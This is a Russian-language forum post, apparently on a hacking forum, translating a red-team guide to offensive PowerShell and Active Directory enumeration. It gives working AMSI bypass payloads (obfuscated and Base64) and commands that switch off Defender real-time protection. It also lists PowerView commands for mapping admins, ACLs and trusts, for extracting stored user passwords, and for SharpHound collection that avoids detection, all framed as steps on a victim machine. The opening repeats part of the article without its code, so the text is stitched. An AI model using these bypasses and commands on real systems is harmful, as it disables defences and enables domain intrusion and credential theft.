Active Directory - Offensive PowerShell
Добро пожаловать к моей второй статье из серии Red Teaming (Offensive PowerShell). Я надеюсь, что все ознакомились с первой статьей этой серии, https://xss.is/threads/66112/ которая объясняет основные принципы и понятия, необходимые для понимания Active Directory. Цель этого руководства - объяснить полные основы перечисления фрагментов кода в Offensive PowerShell и те термины, которые должен знать каждый пентестер/red-teamer, чтобы понимать атаки, проводимые в сети Active Directory. Можите распечатать и прикрепить на стену). В этой статье не будет фрагментов по атакам PowerShell, т.е. Local Privilege Escalation, Domain Persistence, Golden ticket, Silver ticket.. Эти темы будут рассмотрены в следующей статье.
В рамках данного руководства я рассмотрю следующие темы:
1. Введение в PowerShell
2. Обход AMSI и мониторинг в реальном времени
3. Базовое перечисление
4. Перечисление GPO
5. Перечисление ACL
6. Перечисление трастов
7. Перечисление BloodHound
В этой статье я буду использовать PowerView, который основан на Powershell, чтобы показать, как получить информацию из Active Directory. Эта статья была создана с использованием ссылок на другие статьи, которые будут представлены ниже.
Это также позволяет Powershell выполнять функции .NET непосредственно из своей оболочки. Большинство команд Powershell, написаны на .NET. В отличие от других языков сценариев и сред оболочки, выходные данные этих команд являются объектами, что делает Powershell в некоторой степени объектно-ориентированным. Это также означает, что запуск команды позволяет выполнять действия над объектом вывода (что делает удобным передачу вывода от одной команды другой). Обычный формат команд представлен с помощью глагола-существительного; например, команда для вывода списка команд называется Get-Command.
Обычно используются следующие глаголы:
Get-Help отображает информацию о команде. Чтобы получить справку о конкретной команде, выполните следующее:
Использование Get-Command
Get-Command возвращает все команды, установленные на текущем компьютере. Самое замечательное в это команде то, что он позволяет сопоставлять шаблоны, как показано ниже.
Для просмотра всех команд для глагола NEW:
Манипулирование объектами
В предыдущем задании мы видели, что выход каждой команды - это ОБЪЕКТ. Если мы хотим действительно манипулировать выводом, нам нужно запомнить несколько моментов:
- вывод одной команды можно передать другой
- для извлечения информации из объекта можно использовать определенные команды
PIPE/Труба/Конвейер/Кому как нравится ( | ) используется для передачи вывода от одной команды к другой. Основное отличие от других командных интерпретаторов заключается в том, что вместо передачи текста или строки команде после PIPE ( | ) powershell передает объект следующей команде. Как и любой объект в объектно-ориентированных системах, объект содержит методы и свойства. Вы можете думать о методах как о функциях, которые можно применить к выводу команды, а о свойствах - как о переменных в выводе команды. Чтобы просмотреть эти сведения, передайте вывод команде Get-Member:
Пример запуска этого для просмотра Get-Command:
Из приведенного примера видно, что вы также можете выбирать между методами и свойствами.
Создание объектов на основе предыдущих команд
Одним из способов манипулирования объектами является извлечение свойств из результатов выполнения команды и создание нового объекта. Это делается с помощью команды Select-Object.
Вот пример перечисления каталогов и простого выбора режима и имени:
Вы также можете использовать следующие флаги для выбора конкретной информации:
first - получает первый объект x
last - получает последний объект x
unique - показывает уникальные объекты
skip - пропускает x объектов
Фильтрация объектов
При получении выходных объектов вы можете выбрать объекты, соответствующие определенному значению. Это можно сделать с помощью команды Where-Object для фильтрации на основе значений свойств. Общий формат использования этой команды следующий:
Во второй версии используется оператор $_ для перебора каждого объекта, переданного команде Where-Object.
Powershell довольно чувствителен, поэтому убедитесь, что вы не заключаете команду в кавычки!
Где -operator представляет собой список следующих операторов:
Вот пример проверки остановленных процессов:
Сортировка обьектов
Когда команда выводит большое количество информации, вам может понадобиться отсортировать ее, чтобы извлечь информацию более эффективно. Для этого нужно передать вывод команды в команду Sort-Object.
Формат команды будет следующим:
Вот пример сортировки списка каталогов:
Впервые получая доступ к нашей машине-жертве, мы можем загрузить нашу сценарий PowerShell для запуска процесса перечисления. Мы можем заметить, что наши оболочки “падают” или не загружаются, потому что их ловит AV. Даже уклонение от AV само по себе является серьезной темой. Сейчас обьясню почему.
Anti-Malware Scan Interface (AMSI) — это функция безопасности PowerShell. которая позволит любым приложениям или сервисам интегрироваться в продукты для защиты от вредоносных программ. AMSI будет сканировать полезные нагрузки и сценарии перед выполнение внутри среды выполнения. «Windows Antimalware Scan Interface (AMSI) — универсальный стандарт интерфейса, позволяет вашим приложениям и службам интегрироваться с любым антивирусным ПО продукт, который присутствует на машине. AMSI предоставляет улучшенную защиту вашего ПО, ваших конечных пользователей и их данных, приложений и рабочие нагрузки от вредоносных программ».
Дополнительные сведения об AMSI см. в документации по Windows: https://docs.microsoft.com/en-us/windows/win32/amsi/
Ниже приведен пример того, как данные передаются внутри функций безопасности Windows.
AMSI будет отправлять различные коды ответов в зависимости от результатов сканирования. Cписок кодов ответов от AMSI представлен ниже.
Ниже приведен код C#, используемый для инструментария AMSI.
Также можно использовать AMSI в своих продуктах, используя описанные ниже методы.
Обход AMSI
Теперь что мы понимаем основы AMSI и как его обойти, мы можем начать обход AMSI с помощью PowerShell. Существует большое количество способов обхода AMSI. Вот некоторые из них.
Обход мониторинга в реальном времени
Базовое перечисление
Поскольку мы обошли AMSI и защиту реального времени, мы можем начать с перечисления домена и сопоставления различных сущностей, трастов, отношений и привилегий для целевого домена.
Перечисление PowerView
Получение текущего домена:
Получение политики домена для текущего домена:
Получение политики домена для другого домена:
Обратите внимание на политику kerberos, так как она потребуется при создании Golden Tickets, используя mimikats, потребуется такое же смещение, иначе он будет заблокирован защитниками.
Получить контроллеры домена для текущего домена:
Получить контроллеры домена для другого домена:
Получить список пользователей в текущем домене:
Если количество входов в систему и количество плохих паролей пользователя стремится к 0, это может быть ложная учетная запись. Если последний пароль пользователя был установлен давно, это может быть ложная учетная запись.
Поиск определенной строки в атрибутах пользователя
Любой администратор компьютера может создать объект компьютера в домене, который не является реальным компьютером/виртуальной машиной, но его тип объекта – компьютер.
Такие группы, как "Enterprise Admins", "Enterprise Key Admins" и т.д. не будут отображаться в вышеприведенных командах, если не указан домен, поскольку они доступны только на контроллерах домена корнях леса.
Получить всех членов группы администраторов домена
Обязательно проверьте RID, который является последними несколькими символами SID пользователя, так как имя пользователя может быть другим/измененным, но RID уникален. Например: Это может быть учетная запись администратора с другим/измененным именем пользователя, но если вы проверите RID и он будет "500", то это учетная запись администратора.
Получите членов всех локальных групп на машине (требуются права администратора на non-dc машинах )
Получить последнего зарегистрированного пользователя на компьютере (требуются права администратора и удаленный реестр на цели)
Найти конфиденциальные файлы на компьютерах в домене
Получить все файловые серверы домена
Групповая политика позволяет легко и централизованно управлять конфигурацией и изменениями в AD.
Позволяет настроить:
Перечисление объектов групповой (GPO) политики можно использовать для различных атак.
Перечисление PowerView
Модель управления доступом позволяет контролировать способность процесса получать доступ к объектам и другим ресурсам в активном каталоге:
Low Hanging Fruit (очень легкая добыча)
Мы можем использовать SharpHound для сбора данных, а затем использовать neo4jа также -bloodhound на нашей локальной машине и загрузите собранные данные.
Сгенерированный архив можно загрузить в приложение BloodHound.
Перевод статьи https://web.archive.org/web/20220416153636/https://0xstarlight.github.io/posts/Offensive-PowerShell/
Добро пожаловать к моей второй статье из серии Red Teaming (Offensive PowerShell). Я надеюсь, что все ознакомились с первой статьей этой серии, https://xss.is/threads/66112/ которая объясняет основные принципы и понятия, необходимые для понимания Active Directory. Цель этого руководства - объяснить полные основы перечисления фрагментов кода в Offensive PowerShell и те термины, которые должен знать каждый пентестер/red-teamer, чтобы понимать атаки, проводимые в сети Active Directory. Можите распечатать и прикрепить на стену). В этой статье не будет фрагментов по атакам PowerShell, т.е. Local Privilege Escalation, Domain Persistence, Golden ticket, Silver ticket.. Эти темы будут рассмотрены в следующей статье.
В рамках данного руководства я рассмотрю следующие темы:
1. Введение в PowerShell
2. Обход AMSI и мониторинг в реальном времени
3. Базовое перечисление
4. Перечисление GPO
5. Перечисление ACL
6. Перечисление трастов
7. Перечисление BloodHound
В этой статье я буду использовать PowerView, который основан на Powershell, чтобы показать, как получить информацию из Active Directory. Эта статья была создана с использованием ссылок на другие статьи, которые будут представлены ниже.
Введение в PowerShell
Powershell - это язык сценариев Windows и среда оболочки, созданная с использованием фреймворка .NET.
Это также позволяет Powershell выполнять функции .NET непосредственно из своей оболочки. Большинство команд Powershell, написаны на .NET. В отличие от других языков сценариев и сред оболочки, выходные данные этих команд являются объектами, что делает Powershell в некоторой степени объектно-ориентированным. Это также означает, что запуск команды позволяет выполнять действия над объектом вывода (что делает удобным передачу вывода от одной команды другой). Обычный формат команд представлен с помощью глагола-существительного; например, команда для вывода списка команд называется Get-Command.
Обычно используются следующие глаголы:
- Start
- Get
- Stop
- Read
- Write
- New
- Out
Get-Help отображает информацию о команде. Чтобы получить справку о конкретной команде, выполните следующее:
Код с оформлением (BB-коды):
Get-Help Command-Name
Использование Get-Command
Get-Command возвращает все команды, установленные на текущем компьютере. Самое замечательное в это команде то, что он позволяет сопоставлять шаблоны, как показано ниже.
Код с оформлением (BB-коды):
Get-Command Verb-*
# OR
Get-Command *-Noun
Для просмотра всех команд для глагола NEW:
Код с оформлением (BB-коды):
Get-Command New-*
Манипулирование объектами
В предыдущем задании мы видели, что выход каждой команды - это ОБЪЕКТ. Если мы хотим действительно манипулировать выводом, нам нужно запомнить несколько моментов:
- вывод одной команды можно передать другой
- для извлечения информации из объекта можно использовать определенные команды
PIPE/Труба/Конвейер/Кому как нравится ( | ) используется для передачи вывода от одной команды к другой. Основное отличие от других командных интерпретаторов заключается в том, что вместо передачи текста или строки команде после PIPE ( | ) powershell передает объект следующей команде. Как и любой объект в объектно-ориентированных системах, объект содержит методы и свойства. Вы можете думать о методах как о функциях, которые можно применить к выводу команды, а о свойствах - как о переменных в выводе команды. Чтобы просмотреть эти сведения, передайте вывод команде Get-Member:
Код с оформлением (BB-коды):
Verb-Noun | Get-Member
Пример запуска этого для просмотра Get-Command:
Код с оформлением (BB-коды):
Get-Command | Get-Member -MemberType Method
Из приведенного примера видно, что вы также можете выбирать между методами и свойствами.
Создание объектов на основе предыдущих команд
Одним из способов манипулирования объектами является извлечение свойств из результатов выполнения команды и создание нового объекта. Это делается с помощью команды Select-Object.
Вот пример перечисления каталогов и простого выбора режима и имени:
Вы также можете использовать следующие флаги для выбора конкретной информации:
first - получает первый объект x
last - получает последний объект x
unique - показывает уникальные объекты
skip - пропускает x объектов
Фильтрация объектов
При получении выходных объектов вы можете выбрать объекты, соответствующие определенному значению. Это можно сделать с помощью команды Where-Object для фильтрации на основе значений свойств. Общий формат использования этой команды следующий:
Код с оформлением (BB-коды):
Verb-Noun | Where-Object -Property PropertyName -operator Value
# OR
Verb-Noun | Where-Object {$_.PropertyName -operator Value}
Во второй версии используется оператор $_ для перебора каждого объекта, переданного команде Where-Object.
Powershell довольно чувствителен, поэтому убедитесь, что вы не заключаете команду в кавычки!
Где -operator представляет собой список следующих операторов:
- - Contains: если какой-либо элемент в значении свойства точно соответствует указанному значению
- -EQ: если значение свойства совпадает с указанным значением
- -GT: если значение свойства больше указанного значения
Вот пример проверки остановленных процессов:
Сортировка обьектов
Когда команда выводит большое количество информации, вам может понадобиться отсортировать ее, чтобы извлечь информацию более эффективно. Для этого нужно передать вывод команды в команду Sort-Object.
Формат команды будет следующим:
Код с оформлением (BB-коды):
Verb-Noun | Sort-Object
Вот пример сортировки списка каталогов:
Обход AMSI и мониторинга в реальном времени
Впервые получая доступ к нашей машине-жертве, мы можем загрузить нашу сценарий PowerShell для запуска процесса перечисления. Мы можем заметить, что наши оболочки “падают” или не загружаются, потому что их ловит AV. Даже уклонение от AV само по себе является серьезной темой. Сейчас обьясню почему.
Anti-Malware Scan Interface (AMSI) — это функция безопасности PowerShell. которая позволит любым приложениям или сервисам интегрироваться в продукты для защиты от вредоносных программ. AMSI будет сканировать полезные нагрузки и сценарии перед выполнение внутри среды выполнения. «Windows Antimalware Scan Interface (AMSI) — универсальный стандарт интерфейса, позволяет вашим приложениям и службам интегрироваться с любым антивирусным ПО продукт, который присутствует на машине. AMSI предоставляет улучшенную защиту вашего ПО, ваших конечных пользователей и их данных, приложений и рабочие нагрузки от вредоносных программ».
Дополнительные сведения об AMSI см. в документации по Windows: https://docs.microsoft.com/en-us/windows/win32/amsi/
Ниже приведен пример того, как данные передаются внутри функций безопасности Windows.
AMSI будет отправлять различные коды ответов в зависимости от результатов сканирования. Cписок кодов ответов от AMSI представлен ниже.
- AMSI_RESULT_CLEAN = 0
- AMSI_RESULT_NOT_DETECTED = 1
- AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
- AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
- AMSI_RESULT_DETECTED = 32768
- Контроль учетных записей пользователей или UAC
- PowerShell
- Хост сценариев Windows (wscript и cscript)
- JavaScript и VBScript
- Макросы Office VBA
Код с оформлением (BB-коды):
src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs
Ниже приведен код C#, используемый для инструментария AMSI.
C#:
var scriptExtent = scriptBlockAst.Extent;
if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)
{
var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);
throw new ParseException(new[] { parseError });
}
if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)
{
HasSuspiciousContent = true;
}
Также можно использовать AMSI в своих продуктах, используя описанные ниже методы.
- AMSI Win32 API, https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
- COM-интерфейс AMSI, https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream
Обход AMSI
Теперь что мы понимаем основы AMSI и как его обойти, мы можем начать обход AMSI с помощью PowerShell. Существует большое количество способов обхода AMSI. Вот некоторые из них.
Код с оформлением (BB-коды):
# AMSI obfuscation
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
#Base64
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
#On PowerShell 6
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Обход мониторинга в реальном времени
Код с оформлением (BB-коды):
Powershell Set-MpPreference -DisableRealtimeMonitoring $true
Powershell Set-MpPreference -DisableIOAVProtection $true
Базовое перечисление
Поскольку мы обошли AMSI и защиту реального времени, мы можем начать с перечисления домена и сопоставления различных сущностей, трастов, отношений и привилегий для целевого домена.
Перечисление PowerView
Получение текущего домена:
Код:
Get-NetDomain
Получение объекта другого домена:
Код с оформлением (BB-коды):
Get-NetDomain -Domain <domain-name>
Получить SID домена для текущего домена:
Код с оформлением (BB-коды):
Get-DomainSID
Получение политики домена для текущего домена:
Код с оформлением (BB-коды):
Get-DomainPolicy
(Get-DomainPolicy)."system access"
Получение политики домена для другого домена:
Код с оформлением (BB-коды):
(Get-DomainPolicy -domain <domain-name>)."system access"
(Get-DomainPolicy -domain <domain-name>)."kerberos policy"
(Get-DomainPolicy -domain <domain-name>)."Privilege Rights"
# OR
(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
(Get-DomainPolicy)."SystemAccess" #Password policy
(Get-DomainPolicy).PrivilegeRights #Check your privileges
Обратите внимание на политику kerberos, так как она потребуется при создании Golden Tickets, используя mimikats, потребуется такое же смещение, иначе он будет заблокирован защитниками.
Получить контроллеры домена для текущего домена:
Код с оформлением (BB-коды):
Get-NetDomainController
Получить контроллеры домена для другого домена:
Код с оформлением (BB-коды):
Get-NetDomainController -Domain <domain-name>
Получить список пользователей в текущем домене:
Код с оформлением (BB-коды):
Get-NetUser
Get-NetUser -Username student1
Получить список всех свойств для пользователей в текущем домене:
Код с оформлением (BB-коды):
Get-UserProperty
Get-UserProperty -Properties pwdlastset,logoncount,badpwdcount
Get-UserProperty -Properties logoncount
Get-UserProperty -Properties badpwdcount
Если количество входов в систему и количество плохих паролей пользователя стремится к 0, это может быть ложная учетная запись. Если последний пароль пользователя был установлен давно, это может быть ложная учетная запись.
Поиск определенной строки в атрибутах пользователя
Код с оформлением (BB-коды):
Find-UserField -SearchField Description -SearchTerm "built"
Получить список компьютеров в текущем домене
Код с оформлением (BB-коды):
Get-NetComputer
Get-NetComputer -OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -FullData
Любой администратор компьютера может создать объект компьютера в домене, который не является реальным компьютером/виртуальной машиной, но его тип объекта – компьютер.
Получить все группы в текущем домене
Код с оформлением (BB-коды):
Get-NetGroup
Get-NetGroup -Domain <targetdomain>
Get-NetGroup -FullData
Get-NetComputer -Domain
Получить все группы, содержащие слово «admin» в имени группы
Код с оформлением (BB-коды):
Get-NetGroup *admin*
Get-NetGroup -GroupName *admin*
Get-NetGroup *admin* -FullData
Get-NetGroup -GroupName *admin* -Doamin <domain-name>
Такие группы, как "Enterprise Admins", "Enterprise Key Admins" и т.д. не будут отображаться в вышеприведенных командах, если не указан домен, поскольку они доступны только на контроллерах домена корнях леса.
Получить всех членов группы администраторов домена
Код с оформлением (BB-коды):
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Обязательно проверьте RID, который является последними несколькими символами SID пользователя, так как имя пользователя может быть другим/измененным, но RID уникален. Например: Это может быть учетная запись администратора с другим/измененным именем пользователя, но если вы проверите RID и он будет "500", то это учетная запись администратора.
Получить членство в группе для пользователя
Код с оформлением (BB-коды):
Get-NetGroup -UserName "student1"
Список всех локальных групп на машине (требуются права администратора на non-dc машинах )
Код с оформлением (BB-коды):
Get-NetLocalGroup -ComputerName <servername> -ListGroups
Получите членов всех локальных групп на машине (требуются права администратора на non-dc машинах )
Код с оформлением (BB-коды):
Get-NetLocalGroup -ComputerName <servername> -Recurse
Получите активно зарегистрированных пользователей на компьютере (требуются права локального администратора)
Код с оформлением (BB-коды):
Get-NetLoggedon -ComputerName <servername>
Получите локально зарегистрированных пользователей на компьютере (требуется удаленный реестр на цели - запускается по умолчанию в серверной ОС)
Код с оформлением (BB-коды):
Get-LoggedonLocal -ComputerName <servername>
Получить последнего зарегистрированного пользователя на компьютере (требуются права администратора и удаленный реестр на цели)
Код с оформлением (BB-коды):
Get-LastLoggedon -ComputerName <servername>
Найти общие ресурсы на хостах в текущем домене.
Код с оформлением (BB-коды):
Invoke-ShareFinder -Verbose
Найти конфиденциальные файлы на компьютерах в домене
Код с оформлением (BB-коды):
Invoke-FileFinder -Verbose
Получить все файловые серверы домена
Код с оформлением (BB-коды):
Get-NetFileServer
Перечисление объектов групповой политики
Групповая политика позволяет легко и централизованно управлять конфигурацией и изменениями в AD.
Позволяет настроить:
- Настройки безопасности
- Параметры политики на основе реестра
- Настройки групповой политики, такие как параметры запуска/завершения/входа/выхода из системы
- Установка программы
Перечисление объектов групповой (GPO) политики можно использовать для различных атак.
Перечисление PowerView
Получить список объектов групповой политики в текущем домене.
Код с оформлением (BB-коды):
Get-NetGPO
Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local
Get-GPO -All (GroupPolicy module)
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
gpresult /R /V (GroupPolicy Results of current machine)
Получить объекты групповой политики, которые используют группы с ограниченным доступом или groups.xml для интересных пользователей
Код с оформлением (BB-коды):
Get-NetGPOGroup
Получить пользователей, которые находятся в локальной группе машины, используя GPO
Код с оформлением (BB-коды):
Find-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.local
Получить машины, на которых данный пользователь является членом определенной группы
Код с оформлением (BB-коды):
Find-GPOLocation -Username student1 -Verbose
Получить OU (organizational units /подразделения организации/ ) в домене
Код с оформлением (BB-коды):
Get-NetOU -FullData
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} # Get all computers inside an OU (StudentMachines in this case)
Получите объект групповой политики, примененный к OU. Прочитать имя GPO из атрибута gplink из Get-NetOU
Код с оформлением (BB-коды):
Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module)
Перечисление разрешений для объектов групповой политики, где пользователи с RID > -1000 имеют какие-либо права на изменение/управление.
Код с оформлением (BB-коды):
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}'
Перечисление ACL
Модель управления доступом позволяет контролировать способность процесса получать доступ к объектам и другим ресурсам в активном каталоге:
- Токены доступа (контекст безопасности процесса - личность и привилегии пользователя)
- Дескрипторы безопасности (SID владельца, дискреционный ACL (DACL) и системный ACL (SACL))
- Это представляет собой список записей управления доступом (ACE) - ACE соответствует индивидуальное разрешение или аудит доступа. Кто имеет разрешение и что может сделать на объекте?
- Два типа:
- DACL: определяет разрешения, которые доверенные лица (пользователь или группа) имеют для объекта.
- SACL: регистрирует сообщения аудита об успешном и неудачном завершении доступа к объекту.
- ACL жизненно важны для архитектуры безопасности AD.
Перечисление PowerView
Получить ACL, связанные с указанным объектом
Код с оформлением (BB-коды):
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
Получите списки управления доступом, связанные с указанным префиксом, которые будут использоваться для поиска
Код с оформлением (BB-коды):
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
Мы также можем перечислить ACL с помощью модуля ActiveDirectory, но без разрешения GUID.
Код с оформлением (BB-коды):
(Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access
Получите списки управления доступом, связанные с указанным путем LDAP, которые будут использоваться для поиска.
Код с оформлением (BB-коды):
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose
Поиск интересных ACE
Код с оформлением (BB-коды):
Invoke-ACLScanner -ResolveGUIDs
Получить ACL, связанные с указанным путем
Код с оформлением (BB-коды):
Get-PathAcl -Path "\\<computer-name>\sysvol"
Найдите интересные ACE (интересные разрешения «неожиданных объектов» (RID> 1000 и права на изменение) по сравнению с другими объектами
Код с оформлением (BB-коды):
Find-InterestingDomainAcl -ResolveGUIDs
Проверьте, относится ли какое-либо из найденных интересных разрешений к имени пользователя/группе
Код с оформлением (BB-коды):
Find-InterestingDomainAcl -ResolveGUIDs |
?{$_.IdentityReference -match "RDPUsers"}
Получить специальные права для всех администраторов в домене
Код с оформлением (BB-коды):
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
Перечисление трастов
- В среде AD доверие - это отношения между двумя доменами или леса, которые позволяют пользователям одного домена или леса получать доступ к ресурсам в другом домене или лесу.
- Доверие может быть автоматическим (родитель-потомок, тот же лес и т. д.) или установленным (лес, внешний).
- Объекты доверенного домена (TDO) представляют доверительные отношения в домене.
Перечисление PowerView
Получить все доверительные отношения домена (родительские, дочерние и внешние)
Код с оформлением (BB-коды):
Get-NetDomainTrust
Перечислить все доверительные отношения всех найденных доменов
Код с оформлением (BB-коды):
Get-NetForestDomain | Get-NetDomainTrust
Перечислите также все трaсты
Код с оформлением (BB-коды):
Get-DomainTrustMapping
Получить информацию о текущем лесу (без внешнего)
Код с оформлением (BB-коды):
Get-ForestGlobalCatalog
Получить информацию о внешнем лесу (если возможно)
Код с оформлением (BB-коды):
Get-ForestGlobalCatalog -Forest external.domain
Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)"
Получить доверительные отношения леса (должно быть между двумя корнями, доверие между дочерним элементом и root — это просто внешнее доверие)
Код с оформлением (BB-коды):
Get-NetForestTrust
Получить пользователей с привилегиями в других доменах внутри леса
Код с оформлением (BB-коды):
Get-DomainForeingUser
Получить группы с привилегиями в других доменах внутри леса
Код с оформлением (BB-коды):
Get-DomainForeignGroupMember
Low Hanging Fruit (очень легкая добыча)
Проверьте, установлены ли какие-либо пароли пользователей
Код с оформлением (BB-коды):
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
Спрашивает DC для всех компьютеров и спрашивает каждый компьютер, есть ли у него доступ администратора (немного НЕ секьюрно). Вам необходимо открыть порты RCP и SMB.
Код с оформлением (BB-коды):
Find-LocalAdminAccess
(Нужен список компьютеров в домене) Делаем тоже самое как и выше, но пытаясь выполнить действие WMI на каждом компьютере (admin для этого нужны привилегии). Полезно, если порты RCP и SMB закрыты
Код с оформлением (BB-коды):
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
Перечислите машины, на которых конкретный пользователь/группа имеет права локального администратора.
Код с оформлением (BB-коды):
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
Идет через список всех компьютеров (от DC) и выполняет Get-NetLocalGroup для поиска локальных админов (нужны права суперпользователя на non-dc хосты)
Код с оформлением (BB-коды):
Invoke-EnumerateLocalAdmin
Поиск компьютеров с неограниченным делегированием и отображение пользователей
Код с оформлением (BB-коды):
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
Пользователи-администраторы, которым разрешено делегирование, вошли на серверы, на которых разрешено неограниченное делегирование.
Код с оформлением (BB-коды):
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
Получить членов от администраторов домена (по умолчанию) и список компьютеров и проверить если какой-либо из пользователей вошел в систему на любой машине, работающей Get-NetSession/Get-NetLoggedon на каждом хосте. Если -Checkaccess, то он также проверьте наличие доступа LocalAdmin в файле hosts
Код с оформлением (BB-коды):
Invoke-UserHunter -CheckAccess
Поиск пользователей «RDPUsers»
Код с оформлением (BB-коды):
Invoke-UserHunter -GroupName "RDPUsers"
Он будет искать активных пользователей только на серверах с высоким трафиком (DC, файловые серверы и распределенные файловые серверы)
Код с оформлением (BB-коды):
Invoke-UserHunter -Stealth
Перечисление BloodHound
- Предоставляет графический интерфейс для сущностей AD и отношений для данных, собранных его приемниками.
- Использует теорию графов для обеспечения возможности сопоставления кратчайшего пути для интересных вещей, таких как администраторы домена.
- Источник: https://github.com/BloodHoundAD/BloodHound
- Есть встроенные запросы для часто используемых действий.
- Также поддерживает пользовательские запросы Сypher.
Перечисление SharpHound
Мы можем использовать SharpHound для сбора данных, а затем использовать neo4jа также -bloodhound на нашей локальной машине и загрузите собранные данные.
Предоставить данные BloodHound
Сгенерированный архив можно загрузить в приложение BloodHound.
Код с оформлением (BB-коды):
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All,LoggedOn
Чтобы избежать таких обнаружений, как ATA
Код с оформлением (BB-коды):
Invoke-BloodHound -CollectionMethod All -ExcludeDC
Запустите neo4j и BloodHound UI на машине kali и загрузите файлы zip/json
Код с оформлением (BB-коды):
0xStarlight@kali$ sudo neo4j console
0xStarlight@kali$ bloodhound
Рекомендации
- Введение в Powershell с: https://tryhackme.com/room/powershell
- Краткий обзор AMSI от: https://tryhackme.com/room/hololiv
Перевод статьи https://web.archive.org/web/20220416153636/https://0xstarlight.github.io/posts/Offensive-PowerShell/